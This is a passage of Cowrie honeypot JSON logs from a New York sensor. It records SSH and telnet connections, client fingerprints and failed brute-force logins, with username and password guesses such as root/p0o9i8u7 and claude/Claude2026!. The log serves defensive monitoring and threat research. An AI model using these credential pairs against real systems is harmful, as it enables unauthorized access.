{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53392,"dst_ip":"10.17.0.5","dst_port":23,"session":"58a469ba127c","protocol":"telnet","message":"New connection: 192.119.13.58:53392 (10.17.0.5:23) [session: 58a469ba127c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:05.429018Z"}
{"eventid":"cowrie.session.closed","duration":49.613072872161865,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:10.816711Z","src_ip":"186.195.16.41","session":"c63e1a3bbc78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.48690056800842,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:12.024053Z","src_ip":"192.119.13.58","session":"77dfad9dfe2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":55718,"dst_ip":"10.17.0.5","dst_port":22,"session":"db229278934b","protocol":"ssh","message":"New connection: 91.4.14.170:55718 (10.17.0.5:22) [session: db229278934b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:16.829504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:16.834884Z","src_ip":"91.4.14.170","session":"db229278934b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:16.933668Z","src_ip":"91.4.14.170","session":"db229278934b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123","message":"login attempt [ftptest/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:17.364284Z","src_ip":"91.4.14.170","session":"db229278934b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:18.468387Z","src_ip":"91.4.14.170","session":"db229278934b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":48230,"dst_ip":"10.17.0.5","dst_port":22,"session":"a24a6109699a","protocol":"ssh","message":"New connection: 186.219.184.142:48230 (10.17.0.5:22) [session: a24a6109699a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:26.497714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:26.504769Z","src_ip":"186.219.184.142","session":"a24a6109699a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:26.650292Z","src_ip":"186.219.184.142","session":"a24a6109699a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50610,"dst_ip":"10.17.0.5","dst_port":23,"session":"058d15c40489","protocol":"telnet","message":"New connection: 192.119.13.58:50610 (10.17.0.5:23) [session: 058d15c40489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:26.898943Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0o9i8u7","message":"login attempt [root/p0o9i8u7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:27.255807Z","src_ip":"186.219.184.142","session":"a24a6109699a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:28.404038Z","src_ip":"186.219.184.142","session":"a24a6109699a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55962,"dst_ip":"10.17.0.5","dst_port":23,"session":"9844a8965676","protocol":"telnet","message":"New connection: 192.119.13.58:55962 (10.17.0.5:23) [session: 9844a8965676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:34.872799Z"}
{"eventid":"cowrie.session.closed","duration":36.53958487510681,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:41.059036Z","src_ip":"192.119.13.58","session":"d9cc9768290d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.23231554031372,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:46.661192Z","src_ip":"192.119.13.58","session":"58a469ba127c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46912,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a62e7063e2","protocol":"telnet","message":"New connection: 192.119.13.58:46912 (10.17.0.5:23) [session: 32a62e7063e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:53.526463Z"}
{"eventid":"cowrie.session.closed","duration":44.06698489189148,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:10.965783Z","src_ip":"192.119.13.58","session":"058d15c40489","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":21843,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ac9f554f3d4","protocol":"ssh","message":"New connection: 181.0.214.136:21843 (159.203.135.109:22) [session: 6ac9f554f3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:18.834621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:18.839956Z","src_ip":"181.0.214.136","session":"6ac9f554f3d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:19.007196Z","src_ip":"181.0.214.136","session":"6ac9f554f3d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nur","message":"login attempt [root/nur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:19.707258Z","src_ip":"181.0.214.136","session":"6ac9f554f3d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:20.875403Z","src_ip":"181.0.214.136","session":"6ac9f554f3d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.34994435310364,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:23.222610Z","src_ip":"192.119.13.58","session":"9844a8965676","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55164,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8a11d99be0c","protocol":"telnet","message":"New connection: 192.119.13.58:55164 (10.17.0.5:23) [session: d8a11d99be0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:28.197530Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":54028,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ba060c8261f","protocol":"ssh","message":"New connection: 91.4.14.170:54028 (10.17.0.5:22) [session: 4ba060c8261f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:37.794137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:37.799922Z","src_ip":"91.4.14.170","session":"4ba060c8261f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:37.905065Z","src_ip":"91.4.14.170","session":"4ba060c8261f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bharat123","message":"login attempt [root/bharat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:38.338107Z","src_ip":"91.4.14.170","session":"4ba060c8261f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:39.439326Z","src_ip":"91.4.14.170","session":"4ba060c8261f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40708,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b60f15ddded","protocol":"telnet","message":"New connection: 192.119.13.58:40708 (10.17.0.5:23) [session: 2b60f15ddded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:39.943259Z"}
{"eventid":"cowrie.session.closed","duration":47.18289494514465,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:40.709226Z","src_ip":"192.119.13.58","session":"32a62e7063e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44868,"dst_ip":"10.17.0.5","dst_port":23,"session":"51f15f0503da","protocol":"telnet","message":"New connection: 192.119.13.58:44868 (10.17.0.5:23) [session: 51f15f0503da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:41.444186Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35116,"dst_ip":"10.17.0.5","dst_port":23,"session":"de866982abc2","protocol":"telnet","message":"New connection: 192.119.13.58:35116 (10.17.0.5:23) [session: de866982abc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:45.793015Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":50848,"dst_ip":"10.17.0.5","dst_port":22,"session":"28aec6615ae0","protocol":"ssh","message":"New connection: 186.219.184.142:50848 (10.17.0.5:22) [session: 28aec6615ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:51.732765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:51.739388Z","src_ip":"186.219.184.142","session":"28aec6615ae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:51.883824Z","src_ip":"186.219.184.142","session":"28aec6615ae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"Claude2026!","message":"login attempt [claude/Claude2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:52.490572Z","src_ip":"186.219.184.142","session":"28aec6615ae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:53.638488Z","src_ip":"186.219.184.142","session":"28aec6615ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":49026,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e52f8784e38","protocol":"ssh","message":"New connection: 103.77.242.62:49026 (159.203.135.109:22) [session: 7e52f8784e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:54.976977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:54.981850Z","src_ip":"103.77.242.62","session":"7e52f8784e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:55.219969Z","src_ip":"103.77.242.62","session":"7e52f8784e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kitten","message":"login attempt [root/kitten] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:55.937599Z","src_ip":"103.77.242.62","session":"7e52f8784e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:57.179110Z","src_ip":"103.77.242.62","session":"7e52f8784e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52488,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c4d78a47113","protocol":"telnet","message":"New connection: 192.119.13.58:52488 (10.17.0.5:23) [session: 3c4d78a47113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:43:58.492331Z"}
{"eventid":"cowrie.session.closed","duration":31.82814931869507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:00.025558Z","src_ip":"192.119.13.58","session":"d8a11d99be0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41556,"dst_ip":"10.17.0.5","dst_port":23,"session":"6041cccedeef","protocol":"telnet","message":"New connection: 192.119.13.58:41556 (10.17.0.5:23) [session: 6041cccedeef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:02.288903Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53798,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5ebd5d03758","protocol":"telnet","message":"New connection: 192.119.13.58:53798 (10.17.0.5:23) [session: c5ebd5d03758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:05.959207Z"}
{"eventid":"cowrie.session.closed","duration":32.94186496734619,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:14.385889Z","src_ip":"192.119.13.58","session":"51f15f0503da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.33626627922058,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:20.279392Z","src_ip":"192.119.13.58","session":"2b60f15ddded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.899996519088745,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:32.692874Z","src_ip":"192.119.13.58","session":"de866982abc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5430121421814,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:33.035191Z","src_ip":"192.119.13.58","session":"3c4d78a47113","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":51555,"dst_ip":"159.203.135.109","dst_port":22,"session":"1933ed742714","protocol":"ssh","message":"New connection: 103.219.170.37:51555 (159.203.135.109:22) [session: 1933ed742714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:33.723985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:33.729102Z","src_ip":"103.219.170.37","session":"1933ed742714","protocol":"ssh"}
